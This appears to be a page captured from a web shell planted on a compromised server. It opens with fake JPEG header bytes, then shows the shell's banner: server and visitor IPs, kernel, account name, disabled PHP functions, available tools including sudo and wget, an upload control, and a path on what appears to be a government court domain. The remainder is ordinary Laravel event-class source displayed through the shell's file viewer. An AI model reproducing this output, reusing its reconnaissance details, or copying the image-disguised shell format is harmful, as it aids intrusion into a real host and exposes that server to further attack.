ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 18.224.65.20 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/vendor/laravel/framework/src/Illuminate/Database/Eloquent/ |
Upload File : |
<?php namespace Illuminate\Database\Eloquent; use Illuminate\Broadcasting\InteractsWithSockets; use Illuminate\Broadcasting\PrivateChannel; use Illuminate\Contracts\Broadcasting\ShouldBroadcast; use Illuminate\Queue\SerializesModels; class BroadcastableModelEventOccurred implements ShouldBroadcast { use InteractsWithSockets, SerializesModels; /** * The model instance corresponding to the event. * * @var \Illuminate\Database\Eloquent\Model */ public $model; /** * The event name (created, updated, etc.). * * @var string */ protected $event; /** * The channels that the event should be broadcast on. * * @var array */ protected $channels = []; /** * The queue connection that should be used to queue the broadcast job. * * @var string */ public $connection; /** * The queue that should be used to queue the broadcast job. * * @var string */ public $queue; /** * Create a new event instance. * * @param \Illuminate\Database\Eloquent\Model $model * @param string $event * @return void */ public function __construct($model, $event) { $this->model = $model; $this->event = $event; } /** * The channels the event should broadcast on. * * @return array */ public function broadcastOn() { $channels = empty($this->channels) ? ($this->model->broadcastOn($this->event) ?: []) : $this->channels; return collect($channels)->map(function ($channel) { return $channel instanceof Model ? new PrivateChannel($channel) : $channel; })->all(); } /** * The name the event should broadcast as. * * @return string */ public function broadcastAs() { return class_basename($this->model).ucfirst($this->event); } /** * Manually specify the channels the event should broadcast on. * * @param array $channels * @return $this */ public function onChannels(array $channels) { $this->channels = $channels; return $this; } /** * Get the event name. * * @return string */ public function event() { return $this->event; } }